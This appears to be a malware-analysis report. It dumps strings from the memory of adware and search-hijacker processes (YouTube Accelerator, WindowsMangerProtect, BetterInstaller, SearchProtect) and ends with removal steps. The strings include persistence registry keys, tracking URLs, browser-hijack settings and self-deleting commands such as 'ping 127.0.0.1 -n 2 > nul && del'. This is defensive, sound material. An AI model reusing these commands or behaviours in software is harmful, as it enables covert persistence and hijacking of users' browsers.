%d days left.
%d Days left
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d
F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
%s\%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration
[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration
WININET.DLL
Gkernel32.dll
d/d/%d d:d:d::d
[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d
"%s" "%s"
"%s" %s
[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl
[CVA_Alert::OnDeserialize] ___Error get m_URL
[ACCELINFO::OnDeserialize] ___Error get URL
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
zvl=%s&
%s?e=%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
Hcomctl32.dll
Hcomdlg32.dll
Hshell32.dll
accKeyboardShortcut
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
Afx:%p:%x:%p:%p:%p
Afx:%p:%x
commctrl_DragListMsg
Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
ntdll.dll
%s%s.dll
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp
mfcm90u.dll
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp
Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
J.INI
J.com
DLG_%u
PID%u
les (x86)\YouTube Accelerator\YouTubeAccelerator.exe
Important:
Port:
Contact Our Support
See supported video sites
Join Today!
2.0.5.3
Watch YouTube and other web videos without pauses.
Twitter login
Password:
Enter your username and password for Twitter:
<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>
Communications test failed.JWe believe it might be a Security / Firewall issue.
For additional information, contact our support at:
hXXp://@[email protected]/support/
hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.
hXXp://@[email protected]/support/
Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address
(e.g. sample.proxy.com, 192.168.1.100)
@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium
lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...
@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:
@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.
@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.
!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.
Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.
HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.
Supported Video Sites
Every web video just got better
All Files (*.*)
No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.
#Unable to load mail system support.
3.3.8.9

IEXPLORE.EXE_2508:




.text
`.data
.idata
.rsrc
@.reloc
u\j.Xf9
j.Xf9
USER32.dll
api-ms-win-downlevel-shell32-l1-1-0.dll
IEFRAME.dll
SHELL32.dll
iexplore.pdb
api-ms-win-downlevel-shlwapi-l1-1-0.dll
iertutil.dll
api-ms-win-downlevel-advapi32-l1-1-0.dll
KERNEL32.dll
msvcrt.dll
_wcmdln
_amsg_exit
RegOpenKeyExW
RegCloseKey
<!-- Note: This manifest needs to be kept in sync with iexplore.exe.manifest -->
<assemblyIdentity version="5.1.0.0"
name="Microsoft.InternetExplorer"
<windowsSettings>
<dpiAware xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
</windowsSettings>
<!--The ID below indicates application support for Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
KEYW
.ENNNG.
a.ry.v
l.igM4
?1%SGf
xh.JW^
.97777"7" " " !
3.... )) 
8888888888888
8888888888
.lPV)
úW1
.ApX/
H.ZAf
ð[U
%s!FK
1YYYY1YY9GEAA=77YRNNNW:.VT1
888777777
Y.hilkRROMLK=C,
..(((($$
3...((((%
3....(.''$
3.2...((((%
33.2....(,'
55323222...
(%&'00443445?
00.,,,4(
000.,,9(
0020..9(
003200;(
(#'( (''''!'!
Microsoft.InternetExplorer.Default
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe
{28fb17e0-d393-439d-9a21-9474a070473a}
imm32.dll
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}
Kernel32.dll
"%s" %s
kernel32.dll
IEXPLORE.EXE
{00000000-0000-0000-0000-000000000000}
\\?\Volume
Imaging_CreateWebPagePreview_Perftrack
Browseui_Tabs_Tearoff_BetweenWindows
Browseui_Tabs_Tearoff_BetweenWindows_TabProc
Frame_URLEntered
Imaging_CreateWebPagePreview
WS_ExecuteQuery
Shdocvw_BaseBrowser_FireEvent_WindowStateChanged
IdleTask_Execution_Time
Shdocvw_BaseBrowser_FireEvent_BeforeScriptExecute
IMTravelLogMVC_TravelURL
10.00.9200.16521 (win8_gdr_soc_ie.130216-2100)
Windows
10.00.9200.16521

IEXPLORE.EXE_2508_rwx_00986000_00001000:




api-ms-win-downlevel-shlwapi-l1-1-0.dll
iertutil.dll
api-ms-win-downlevel-advapi32-l1-1-0.dll
KERNEL32.dll
msvcrt.dll
_wcmdln
_amsg_exit
RegOpenKeyExW
RegCloseKey

ProtectWindowsManager.exe_2040:




.text
`.rdata
@.data
.rsrc
@.reloc
j.Yf;
_tcPVj@
.PjRW
SHELL32.dll
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
GetProcessWindowStation
operator
MaxPolicyElementKey
pExecutionResource
SHLWAPI.dll
USERENV.dll
%dYeArdMoNthdDaY
file_url
GET %s%s%s HTTP/1.1
Host: %s
%sUser-Agent: Mozilla/4.0 %s
POST %s HTTP/1.1
%sContent-Type: %s
User-Agent: Mozilla/4.0
Content-Length: %u
%*s %d %*s
%*[ ]%[^
?456789:;<=
!"#$%&'()* ,-./0123
ShellExecuteExW
SHDeleteKeyW
GetWindowsDirectoryA
GetProcessHeap
GetSystemWindowsDirectoryW
KERNEL32.dll
USER32.dll
RegCreateKeyExW
RegCloseKey
RegOpenKeyExW
RegCreateKeyW
ReportEventW
RegOpenKeyW
ADVAPI32.dll
PSAPI.DLL
InternetCrackUrlW
WININET.dll
WS2_32.dll
WinHttpReceiveResponse
WinHttpSetTimeouts
WinHttpSetOption
WinHttpGetIEProxyConfigForCurrentUser
WinHttpSendRequest
WinHttpWriteData
WinHttpConnect
WinHttpCloseHandle
WinHttpQueryHeaders
WinHttpQueryDataAvailable
WinHttpOpen
WinHttpOpenRequest
WinHttpGetProxyForUrl
WinHttpCrackUrl
WinHttpReadData
WinHttpAddRequestHeaders
WINHTTP.dll
SensApi.dll
VERSION.dll
GetCPInfo
.?AVunsupported_os@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_operation@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AUIExecutionContext@Concurrency@@
zcÁ
.?AVCHttpClient@@
.?AVCTcpipSocket@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
? ?$?(?,?0?4?~?
5#505:5`5
=#='= =/=3=
;!;0;7;^;
<!<%<)<-<1<5<$=0=
9-92989?9
5 5$5(5,505
5 5$5(5,5054585
7$<(<,<0<4<8<<<@<
< <(<4<<<
3 3$3(3,30383<3
combase.dll
kernel32.dll
mscoree.dll
- CRT not initialized
- Attempt to initialize the CRT more than once.
- floating point support not loaded
USER32.DLL
portuguese-brazilian
advapi32.dll
\\.\PhysicalDrive%d
WindowsMangerProtect
SOFTWARE\supWindowsMangerProtect
xa.geoip
visit.heartbeat
hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action0=%s&action1=visit&action2=%s&update0=ref,%s&update1=nation,%s&update2=language,%s
hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=%s
hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s
hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s&update3=version,%s
Report Start.
C:\DoStartTEST.DAT
Report Heart beat.
ProtectWindowsManager.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
TypesSupported
%s is already installed
%s installed
%s failed to install. Error %d
%s is not installed
Could not remove %s. Error %d
WindowsProtectManger
Advapi32.dll
/c ping 127.0.0.1 -n 2 > nul && del
"%s" %s
psapi.dll
Explorer.exe
update.exe
%s_%s
\\.\Phys
hXXp://
Software\Microsoft\Windows\CurrentVersion\Internet Settings
http=
..\Src\json\src\json_value.cpp
..\Src\json\src\json_reader.cpp
xxxx
WinHttpClient
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
hXXp://xa.xingcloud.com
..\Src\json\src\json_writer.cpp
Assertion failed: %s, file %s, line %d
WindowsMangerProtect Service
C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
WindowsMangerProtect service
SysTool PasSame LIMITED
Windows SysTool Service
20.0.0.1714
Windows SysTool.exe

biclient.exe_2940:




.text
`.rdata
@.data
.rsrc
@.reloc
PSShP
SSSSh
RegDeleteKeyExW
FtpCommandW
XXXXXXXXXXXX
kernel32.dll
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
d:\mTech\somoto\new_svn\BetterInstaller\BetterInstaller\Release\BetterInstaller.pdb
HttpSendRequestW
HttpQueryInfoW
HttpAddRequestHeadersW
HttpOpenRequestW
InternetCrackUrlW
WININET.dll
PSAPI.DLL
IPHLPAPI.DLL
GetProcessHeap
KERNEL32.dll
CreateDialogIndirectParamW
USER32.dll
GDI32.dll
COMDLG32.dll
CryptSetKeyParam
CryptImportKey
CryptDestroyKey
RegDeleteKeyW
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegEnumKeyExW
RegOpenKeyW
ADVAPI32.dll
ShellExecuteW
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHLWAPI.dll
USERENV.dll
GetCPInfo
GetConsoleOutputCP
.?AUIHTMLOMWindowServices@@
.?AV?$CAtlExeModuleT@VCBetterInstallerModule@@@ATL@@
'BetterInstaller.EXE'
Created by MIDL version 7.00.0500 at Tue Nov 08 16:10:48 2011
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
1"2-2:2]2
:!:&:0:>:~:
: <'<-<`<
{C85A8C97-E040-4924-8E1D-693560EE116E}
WAdvapi32.dll
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Mscoree.dll
OLEAUT32.DLL
%u kB
%u bytes
Range: bytes=%d-%d
Range: bytes=%d-
%d:d:d
%s - %s
Wwininet.dll
r%s.%d
"%s" %s
%s (%d)%s
*.TXT
%d.%d.%d %s %sbit
<memory>%d</memory>
%DOCUMENTS%
ÞSKTOP%
hXXp://installer.filebulldog.com
%s\Mozilla\Firefox\%s\prefs.js
%s\Mozilla\Firefox\profiles.ini
biDeleteRegistryKey
biGetExecutionArguments
biCreateRegistryKey
biExistRegistryKey
Better Installer(Mozilla)
%s/%s/%s/%s?v=%s&muid=%s
%s/downloader/%s/%s/%s?v=%s&muid=%s
Preparing %s...
ekernel32.dll
mscoree.dll
KERNEL32.DLL
Open URL Error
URL Parts Error
FtpCreateDir failed (550)
Error FTP path (550)
hXXp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe
Setup.exe
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe
kerSetup.exe
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
{8856F961-340A-11D0-A96B-00C04FD705A2}
2.0.0.0
BetterInstaller.exe

ProtectService.exe_4896:




.text
`.rdata
@.data
.rsrc
@.reloc
GET %s%s%s HTTP/1.1
Host: %s
%sUser-Agent: Mozilla/4.0
POST %s HTTP/1.1
%sContent-Type: %s
User-Agent: Mozilla/4.0
Content-Length: %u
%*s %d %*s
%*[ ]%[^
?456789:;<=
!"#$%&'()* ,-./0123
file_url
E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb
GetProcessHeap
GetSystemWindowsDirectoryW
KERNEL32.dll
USER32.dll
RegOpenKeyW
RegCloseKey
RegOpenKeyExW
RegCreateKeyExW
ADVAPI32.dll
SHELL32.dll
MSVCP110.dll
InternetCrackUrlW
WININET.dll
WS2_32.dll
SHLWAPI.dll
MSVCR110.dll
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
_calloc_crt
__crtGetShowWindowMode
_amsg_exit
_wcmdln
__crtSetUnhandledExceptionFilter
WinHttpCloseHandle
WinHttpOpen
WinHttpSetTimeouts
WinHttpCrackUrl
WinHttpConnect
WinHttpOpenRequest
WinHttpSetOption
WinHttpAddRequestHeaders
WinHttpSendRequest
WinHttpGetIEProxyConfigForCurrentUser
WinHttpGetProxyForUrl
WinHttpWriteData
WinHttpReceiveResponse
WinHttpQueryHeaders
WinHttpQueryDataAvailable
WinHttpReadData
WINHTTP.dll
SensApi.dll
VERSION.dll
PSAPI.DLL
USERENV.dll
.?AVCHttpClient@@
.?AVCTcpipSocket@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
2-2v2
hXXp://
Software\Microsoft\Windows\CurrentVersion\Internet Settings
http=
WinHttpClient
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
hXXp://xa.xingcloud.com
xxxx
%u_%u
%s_%s
%s_X
\\.\PhysicalDrive%d
UpDateProcess.exe
hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s
g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}
Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex
Report HeartBeat
cmdshell.exe
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall
explorer.exe
Advapi32.dll
"%s" %s
psapi.dll
Explorer.exe
json_value.cpp
ljson_reader.cpp
ProtectSvc.exe
4.0.1.1716

HPNotify.exe_1196:




.text
`.rdata
@.data
.rsrc
@.reloc
<9%uo
wszUrl
strUrlTemp
hKEY
strSelUrl
strUrl
strConfUrlTemp
strDsUrl
strHpUrl
strCmdLine
tCPW
%UUUU
e_GetBrowserCurrentHpUrl
e_GetBrowserCurrentDsUrl
URLDownloadToFileW
URLDownloadToFileW ret:0XX
Error : %d
inflate 1.1.3 Copyright 1995-1998 Mark Adler
1.1.3
monochrome
unsupported bit depth
`'\%D,3
Run-Time Check Failure #%d - %s
%s%s%p%s%ld%s%d%s
%s%s%s%s
RegOpenKeyExW
RegCloseKey
del /s/q %1\*.*
%suninstall.bat
E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb
KERNEL32.dll
GetKeyState
USER32.dll
GDI32.dll
ADVAPI32.dll
ShellExecuteW
ShellExecuteA
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHDeleteKeyW
SHLWAPI.dll
MSVCP110.dll
MSVCR110.dll
_calloc_crt
_CRT_RTC_INITW
__crtGetShowWindowMode
_amsg_exit
_wcmdln
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
__crtSetUnhandledExceptionFilter
GdiplusShutdown
gdiplus.dll
IMM32.dll
DeleteUrlCacheEntryW
WININET.dll
COMCTL32.dll
GetProcessHeap
#*1892 $
%,3:;4-&
.?AVCActiveXEnum@DuiLib@@
.?AVCWebBrowserUI@DuiLib@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />
3?3
1-2}2
77t7
9":,:6:@:
12u2
: :$:(:,:0:
4 4$4(4,404
>$?(?,?0?
2 2$2(2,20242
0 1@1\1|1
hXXp://VVV.bing.com/
hXXp://VVV.yahoo.com/
hXXp://VVV.google.com/
%sconf
web/?type=dspp&
web/?type=dspp
hXXp://VVV.v9.com/
Itemd
BrowserAction.dll
%u_%u
%s_%s
%s_X
\\.\PhysicalDrive%d
\\.\Scsi%d:
UrlEdit
conf.xml
hXXp://v9.com/license_agreement.html
hXXp://v9.com/privacy_policy.html
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s
%stmp%d.tmp
urlmon.dll
main.xml
explorer.exe
Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex
IeWatchDog.dll
BrowerWatchFF.dll
BrowerWatchCH.dll
Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)
msimg32.dll
User32.dll
WM_KEYDOWN
WM_KEYUP
WM_SYSKEYDOWN
WM_SYSKEYUP
0xX
keyboard
msftedit.dll
password
%s%s%s
Correct password required
%s\%s
WebBrowser
transshadow
transshadow1
dest='%d,%d,%d,%d'
dest='%d,%d,%d,%d' source='%d,%d,%d,%d'
source='%d,%d,%d,%d' dest='%d,%d,%d,%d'
M-d-d
WebBrowserUI
errorUrl
{D27CDB6E-AE6D-11CF-96B8-444553540000}
user32.dll
MSPDB110.DLL
ADVAPI32.DLL
/c ping 127.0.0.1 -n 2 > nul && del /s/q
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
%Program Files% (x86)\XTab\skin\
SupHPNot.exe
4,0,1,1716
SupHPNty.exe






Remove it with Ad-Aware




    

  1. Click (here) to download and install Ad-Aware Free Antivirus.
    2. 

  2. Update the definition files.
    3. 

  3. Run a full scan of your computer.
    4. 





Manual removal*




    

  1. Scan a system with an anti-rootkit tool.
    2. 

  2. Terminate malicious process(es) (How to End a Process With the Task Manager):
    

    cmdshell.exe:4944
    BaofengUpdate.exe:1940
    BaofengUpdate.exe:2312
    YTAHelper.exe:2052
    %original file name%.exe:3512
    ProtectWindowsManager.exe:3332
    ProtectWindowsManager.exe:2040
    ProtectService.exe:4876
    ProtectService.exe:4896
    jsdrv.exe:3288
    biclient.exe:3544
    biclient.exe:3924
    E9F1.tmp:2744
    wpm_v20.0.0.1714_0204.exe:1036
    ins_yta.exe:1836
    testlsp.exe:3868
    powershell.exe:1368
    powershell.exe:3044
    powershell.exe:3968
    setup.exe:1412
    setup.exe:3284
    HPNotify.exe:1196
    STab_Down_6.0.6.8.exe:3324
    WerFault.exe:3148
    WerFault.exe:2952
    WerFault.exe:4028
    ShopperPro.exe:2088
    ins_shopperpro.exe:1036
    regsvr32.exe:3904
    regsvr32.exe:3656
    regsvr32.exe:3180
    lspinst.exe:2784
    lspinst.exe:1160
    YTAHEL~1.EXE:3004
    DCytaiesmt_smtyc_setup.exe:3388
    spbiu.exe:1216
    spbiu.exe:992
    GLJB423.tmp:2280
    YouTubeAcceleratorService.exe:1204
    YouTubeAcceleratorService.exe:4060
    YouTubeAcceleratorService.exe:3016
    YouTubeAcceleratorService.exe:2812
    GLBB3D4.tmp:2756
    XTab_v4.0.exe:4592
    taskeng.exe:3608
    ytaiesmt_smtyc_setup.exe:2788
    

    3. 

  3. Delete the original Application file.
    4. 

  4. Delete or disinfect the following files created/modified by the Application:
    

    %Program Files% (x86)\XTab\HPNotify.exe (675 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\STab_Down_6.0.6.8.exe (114 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\422.db (260 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\RegWrite.exe (86 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\wpm_v20.0.0.1714_0204.exe (974 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\last_tab.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\pack\common.js (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\js.js (660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\it\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\simple.css (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\remoterequest.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\properties.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\en\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\pack\ga.js (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\aes.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\restoreprefs.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\module\search.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
